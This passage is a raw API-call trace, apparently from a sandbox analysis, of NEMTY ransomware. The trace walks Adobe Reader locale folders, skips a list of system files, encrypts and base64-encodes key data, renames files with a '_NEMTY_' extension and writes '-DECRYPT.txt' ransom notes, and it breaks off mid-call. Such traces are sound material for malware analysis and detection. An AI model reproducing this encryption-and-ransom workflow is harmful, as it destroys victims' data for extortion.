(lpString1="Weblink.RUS", lpString2="boot.ini") returned 1 [0183.233] lstrcmpiW (lpString1="Weblink.RUS", lpString2="boot.ini") returned 1 [0183.233] lstrcmpiW (lpString1="Weblink.RUS", lpString2="AUTOEXEC.BAT") returned 1 [0183.233] lstrcmpiW (lpString1="Weblink.RUS", lpString2="ntuser.dat") returned 1 [0183.233] lstrcmpiW (lpString1="Weblink.RUS", lpString2="desktop.ini") returned 1 [0183.233] lstrcmpiW (lpString1="Weblink.RUS", lpString2="CONFIG.SYS") returned 1 [0183.233] lstrcmpiW (lpString1="Weblink.RUS", lpString2="RECYCLER") returned 1 [0183.233] lstrcmpiW (lpString1="Weblink.RUS", lpString2="BOOTSECT.BAK") returned 1 [0183.233] lstrcmpiW (lpString1="Weblink.RUS", lpString2="bootmgr") returned 1 [0183.233] lstrcmpiW (lpString1="Weblink.RUS", lpString2="programdata") returned 1 [0183.233] lstrcmpiW (lpString1="Weblink.RUS", lpString2="appdata") returned 1 [0183.233] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0183.233] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Weblink.RUS", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0183.233] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Weblink.RUS", cchWideChar=11, lpMultiByteStr=0x653e890, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Weblink.RUS", lpUsedDefaultChar=0x0) returned 11 [0183.233] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0183.233] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Weblink.RUS", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0183.233] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Weblink.RUS", cchWideChar=11, lpMultiByteStr=0x653e890, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Weblink.RUS", lpUsedDefaultChar=0x0) returned 11 [0183.233] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0183.233] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0183.233] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0183.233] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Weblink.RUS", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0183.233] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Weblink.RUS", cchWideChar=11, lpMultiByteStr=0x653e8e0, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Weblink.RUS", lpUsedDefaultChar=0x0) returned 11 [0183.233] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0183.233] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0183.233] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Weblink.RUS", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0183.233] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Weblink.RUS", cchWideChar=11, lpMultiByteStr=0x653e918, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Weblink.RUS", lpUsedDefaultChar=0x0) returned 11 [0183.233] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0183.233] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x4f94310 [0183.233] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340048 | out: hHeap=0x4f90000) returned 1 [0183.233] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x6340048 [0183.233] Sleep (dwMilliseconds=0x5) [0183.235] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653e7a4 | out: lpSystemTimeAsFileTime=0x653e7a4*(dwLowDateTime=0x20dd1b70, dwHighDateTime=0x1d561e8)) [0183.235] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653e7a4 | out: lpSystemTimeAsFileTime=0x653e7a4*(dwLowDateTime=0x20dd1b70, dwHighDateTime=0x1d561e8)) [0183.235] GetLastError () returned 0x0 [0183.235] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345e38 [0183.236] GetLastError () returned 0x0 [0183.236] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0183.236] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345e38 | out: hHeap=0x4f90000) returned 1 [0183.236] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0183.236] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x653e5e0*=0x0, dwBufLen=0x0 | out: pbData=0x0*, pdwDataLen=0x653e5e0*=0x100) returned 1 [0183.236] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x653e5e4*, pdwDataLen=0x653e5d0*=0x10, dwBufLen=0x100 | out: pbData=0x653e5e4*, pdwDataLen=0x653e5d0*=0x100) returned 1 [0183.236] CryptBinaryToStringA (in: pbBinary=0x653e5e4, cbBinary=0x100, dwFlags=0x1, pszString=0x0, pcchString=0x653e5dc | out: pszString=0x0, pcchString=0x653e5dc) returned 1 [0183.236] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x165) returned 0x63400f0 [0183.236] CryptBinaryToStringA (in: pbBinary=0x653e5e4, cbBinary=0x100, dwFlags=0x1, pszString=0x63400f0, pcchString=0x653e5dc | out: pszString="E/TJvGYmthVdyibsHoqFPPlm85p4+JpWWhMmTdg7ENoRp1sgQ5AaIhbaiunc17AU\r\nEHgvar8l+4Q7pCGv49+LSnUvjQNDrByugTUT9Uf2Zn5SFyrIqAbueLJ2fj+nJk/8\r\ntcvDBdzawxW9cKHgL0bGGq5M2yizuTOVlFk3gDLwmrHAGMYuMR7HJRSQSudRZp0e\r\ns5dae9cqulOrSLtcsvIrdybU01IuIaqMBsMBg8uH0DNTHih4Cdzsq1Y3XdiV6NQs\r\ncMmBsRljiO2ZZypx5ZXsyEeO8QbN8ZwAfplV5p1EV/RR7Fx1Kji0qkEiWn8LRQjU\r\nLROIxw9pAMA5piu2evWOzg==\r\n", pcchString=0x653e5dc) returned 1 [0183.236] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348d60 [0183.236] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63400f0 | out: hHeap=0x4f90000) returned 1 [0183.236] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0183.236] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x10) returned 0x4f91750 [0183.236] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x167) returned 0x63400f0 [0183.236] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348ed8 [0183.236] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\ru_RU\\Weblink.RUS" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\ru_ru\\weblink.rus"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x2e8 [0183.237] GetFileSizeEx (in: hFile=0x2e8, lpFileSize=0x653e830 | out: lpFileSize=0x653e830*=27648) returned 1 [0183.237] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x6c00) returned 0x6352c48 [0183.237] SetFilePointer (in: hFile=0x2e8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0183.237] ReadFile (in: hFile=0x2e8, lpBuffer=0x6352c48, nNumberOfBytesToRead=0x6c00, lpNumberOfBytesRead=0x653e824, lpOverlapped=0x0 | out: lpBuffer=0x6352c48*, lpNumberOfBytesRead=0x653e824*=0x6c00, lpOverlapped=0x0) returned 1 [0183.240] SetFilePointer (in: hFile=0x2e8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0183.240] WriteFile (in: hFile=0x2e8, lpBuffer=0x6352c48*, nNumberOfBytesToWrite=0x6c00, lpNumberOfBytesWritten=0x653e81c, lpOverlapped=0x0 | out: lpBuffer=0x6352c48*, lpNumberOfBytesWritten=0x653e81c*=0x6c00, lpOverlapped=0x0) returned 1 [0183.240] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6352c48 | out: hHeap=0x4f90000) returned 1 [0183.240] SetFilePointer (in: hFile=0x2e8, lDistanceToMove=27648, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x6c00 [0183.240] WriteFile (in: hFile=0x2e8, lpBuffer=0x63400f0*, nNumberOfBytesToWrite=0x167, lpNumberOfBytesWritten=0x653e81c, lpOverlapped=0x0 | out: lpBuffer=0x63400f0*, lpNumberOfBytesWritten=0x653e81c*=0x167, lpOverlapped=0x0) returned 1 [0183.240] CloseHandle (hObject=0x2e8) returned 1 [0183.240] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x6340260 [0183.241] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 16 [0183.241] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0183.241] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x4f9ed58, cchWideChar=16 | out: lpWideCharStr="_NEMTY_kGOBjgD_") returned 16 [0183.241] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0183.241] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0183.241] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x6340308 [0183.241] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xee) returned 0x63403b0 [0183.241] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340308 | out: hHeap=0x4f90000) returned 1 [0183.241] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0183.241] MoveFileW (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\ru_RU\\Weblink.RUS" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\ru_ru\\weblink.rus"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\ru_RU\\Weblink.RUS._NEMTY_kGOBjgD_" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\ru_ru\\weblink.rus._nemty_kgobjgd_")) returned 1 [0183.241] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63403b0 | out: hHeap=0x4f90000) returned 1 [0183.241] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340260 | out: hHeap=0x4f90000) returned 1 [0183.241] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f91750 | out: hHeap=0x4f90000) returned 1 [0183.241] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63400f0 | out: hHeap=0x4f90000) returned 1 [0183.241] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348ed8 | out: hHeap=0x4f90000) returned 1 [0183.241] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348d60 | out: hHeap=0x4f90000) returned 1 [0183.242] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0183.242] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340048 | out: hHeap=0x4f90000) returned 1 [0183.242] FindNextFileW (in: hFindFile=0x3423ab0, lpFindFileData=0x653e988 | out: lpFindFileData=0x653e988*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2090ef70, ftCreationTime.dwHighDateTime=0x1d561e8, ftLastAccessTime.dwLowDateTime=0x2090ef70, ftLastAccessTime.dwHighDateTime=0x1d561e8, ftLastWriteTime.dwLowDateTime=0x2090ef70, ftLastWriteTime.dwHighDateTime=0x1d561e8, nFileSizeHigh=0x0, nFileSizeLow=0xef8, dwReserved0=0x11, dwReserved1=0x4f90000, cFileName="_NEMTY_kGOBjgD_-DECRYPT.txt", cAlternateFileName="_NEMTY~1.TXT")) returned 1 [0183.242] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2=".") returned 1 [0183.242] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="..") returned 1 [0183.242] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="...") returned 1 [0183.242] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="windows") returned -1 [0183.242] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="$RECYCLE.BIN") returned 1 [0183.242] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="rsa") returned -1 [0183.242] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="NTDETECT.COM") returned -1 [0183.242] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="ntldr") returned -1 [0183.242] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="MSDOS.SYS") returned -1 [0183.242] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="IO.SYS") returned -1 [0183.242] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="boot.ini") returned -1 [0183.242] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="boot.ini") returned -1 [0183.242] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="AUTOEXEC.BAT") returned -1 [0183.242] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="ntuser.dat") returned -1 [0183.242] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="desktop.ini") returned -1 [0183.242] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="CONFIG.SYS") returned -1 [0183.242] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="RECYCLER") returned -1 [0183.242] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="BOOTSECT.BAK") returned -1 [0183.242] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="bootmgr") returned -1 [0183.242] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="programdata") returned -1 [0183.242] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="appdata") returned -1 [0183.242] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345e38 [0183.242] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="_NEMTY_kGOBjgD_-DECRYPT.txt", cchWideChar=27, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 27 [0183.242] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0183.242] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="_NEMTY_kGOBjgD_-DECRYPT.txt", cchWideChar=27, lpMultiByteStr=0x4f9ecb8, cbMultiByte=27, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="_NEMTY_kGOBjgD_-DECRYPT.txt", lpUsedDefaultChar=0x0) returned 27 [0183.242] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0183.242] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345e80 [0183.242] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="_NEMTY_kGOBjgD_-DECRYPT.txt", cchWideChar=27, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 27 [0183.242] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0183.242] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="_NEMTY_kGOBjgD_-DECRYPT.txt", cchWideChar=27, lpMultiByteStr=0x4f9ecb8, cbMultiByte=27, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="_NEMTY_kGOBjgD_-DECRYPT.txt", lpUsedDefaultChar=0x0) returned 27 [0183.243] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0183.243] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345e80 | out: hHeap=0x4f90000) returned 1 [0183.243] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345e38 | out: hHeap=0x4f90000) returned 1 [0183.243] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345e38 [0183.243] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="_NEMTY_kGOBjgD_-DECRYPT.txt", cchWideChar=27, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 27 [0183.243] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0183.243] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="_NEMTY_kGOBjgD_-DECRYPT.txt", cchWideChar=27, lpMultiByteStr=0x4f9ecb8, cbMultiByte=27, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="_NEMTY_kGOBjgD_-DECRYPT.txt", lpUsedDefaultChar=0x0) returned 27 [0183.243] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345e38 | out: hHeap=0x4f90000) returned 1 [0183.243] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345e38 [0183.243] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="_NEMTY_kGOBjgD_-DECRYPT.txt", cchWideChar=27, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 27 [0183.243] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0183.243] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="_NEMTY_kGOBjgD_-DECRYPT.txt", cchWideChar=27, lpMultiByteStr=0x4f9ed08, cbMultiByte=27, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="_NEMTY_kGOBjgD_-DECRYPT.txt", lpUsedDefaultChar=0x0) returned 27 [0183.243] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345e38 | out: hHeap=0x4f90000) returned 1 [0183.243] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xc0) returned 0x6340048 [0183.243] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f94310 | out: hHeap=0x4f90000) returned 1 [0183.243] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0183.243] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0183.243] FindNextFileW (in: hFindFile=0x3423ab0, lpFindFileData=0x653e988 | out: lpFindFileData=0x653e988*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2090ef70, ftCreationTime.dwHighDateTime=0x1d561e8, ftLastAccessTime.dwLowDateTime=0x2090ef70, ftLastAccessTime.dwHighDateTime=0x1d561e8, ftLastWriteTime.dwLowDateTime=0x2090ef70, ftLastWriteTime.dwHighDateTime=0x1d561e8, nFileSizeHigh=0x0, nFileSizeLow=0xef8, dwReserved0=0x11, dwReserved1=0x4f90000, cFileName="_NEMTY_kGOBjgD_-DECRYPT.txt", cAlternateFileName="_NEMTY~1.TXT")) returned 0 [0183.243] FindClose (in: hFindFile=0x3423ab0 | out: hFindFile=0x3423ab0) returned 1 [0183.243] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340048 | out: hHeap=0x4f90000) returned 1 [0183.243] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f94288 | out: hHeap=0x4f90000) returned 1 [0183.243] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f94178 | out: hHeap=0x4f90000) returned 1 [0183.243] FindNextFileW (in: hFindFile=0x3423a70, lpFindFileData=0x653ecc8 | out: lpFindFileData=0x653ecc8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7d7bb9a0, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x832c8320, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x832c8320, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x344c1f0, dwReserved1=0x0, cFileName="sk_SK", cAlternateFileName="")) returned 1 [0183.243] lstrcmpiW (lpString1="sk_SK", lpString2=".") returned 1 [0183.243] lstrcmpiW (lpString1="sk_SK", lpString2="..") returned 1 [0183.243] lstrcmpiW (lpString1="sk_SK", lpString2="...") returned 1 [0183.243] lstrcmpiW (lpString1="sk_SK", lpString2="windows") returned -1 [0183.243] lstrcmpiW (lpString1="sk_SK", lpString2="$RECYCLE.BIN") returned 1 [0183.243] lstrcmpiW (lpString1="sk_SK", lpString2="rsa") returned 1 [0183.243] lstrcmpiW (lpString1="sk_SK", lpString2="NTDETECT.COM") returned 1 [0183.243] lstrcmpiW (lpString1="sk_SK", lpString2="ntldr") returned 1 [0183.243] lstrcmpiW (lpString1="sk_SK", lpString2="MSDOS.SYS") returned 1 [0183.243] lstrcmpiW (lpString1="sk_SK", lpString2="IO.SYS") returned 1 [0183.244] lstrcmpiW (lpString1="sk_SK", lpString2="boot.ini") returned 1 [0183.244] lstrcmpiW (lpString1="sk_SK", lpString2="boot.ini") returned 1 [0183.244] lstrcmpiW (lpString1="sk_SK", lpString2="AUTOEXEC.BAT") returned 1 [0183.244] lstrcmpiW (lpString1="sk_SK", lpString2="ntuser.dat") returned 1 [0183.244] lstrcmpiW (lpString1="sk_SK", lpString2="desktop.ini") returned 1 [0183.244] lstrcmpiW (lpString1="sk_SK", lpString2="CONFIG.SYS") returned 1 [0183.244] lstrcmpiW (lpString1="sk_SK", lpString2="RECYCLER") returned 1 [0183.244] lstrcmpiW (lpString1="sk_SK", lpString2="BOOTSECT.BAK") returned 1 [0183.244] lstrcmpiW (lpString1="sk_SK", lpString2="bootmgr") returned 1 [0183.244] lstrcmpiW (lpString1="sk_SK", lpString2="programdata") returned 1 [0183.244] lstrcmpiW (lpString1="sk_SK", lpString2="appdata") returned 1 [0183.244] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="sk_SK", cchWideChar=5, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 5 [0183.244] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="sk_SK", cchWideChar=5, lpMultiByteStr=0x653ebd0, cbMultiByte=5, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="sk_SK", lpUsedDefaultChar=0x0) returned 5 [0183.244] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="sk_SK", cchWideChar=5, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 5 [0183.244] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="sk_SK", cchWideChar=5, lpMultiByteStr=0x653ebd0, cbMultiByte=5, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="sk_SK", lpUsedDefaultChar=0x0) returned 5 [0183.244] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x80) returned 0x4f94178 [0183.244] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f94200 | out: hHeap=0x4f90000) returned 1 [0183.244] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x80) returned 0x4f94200 [0183.244] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xef8) returned 0x634ad48 [0183.244] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 16 [0183.244] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0183.244] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x4f9ecb8, cchWideChar=16 | out: lpWideCharStr="_NEMTY_kGOBjgD_") returned 16 [0183.244] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0183.244] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0183.244] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x4f94288 [0183.244] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0183.244] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xee) returned 0x4f94330 [0183.244] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f94288 | out: hHeap=0x4f90000) returned 1 [0183.244] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\sk_SK\\_NEMTY_kGOBjgD_-DECRYPT.txt" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\sk_sk\\_nemty_kgobjgd_-decrypt.txt"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x254 [0183.247] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f94330 | out: hHeap=0x4f90000) returned 1 [0183.247] SetFilePointer (in: 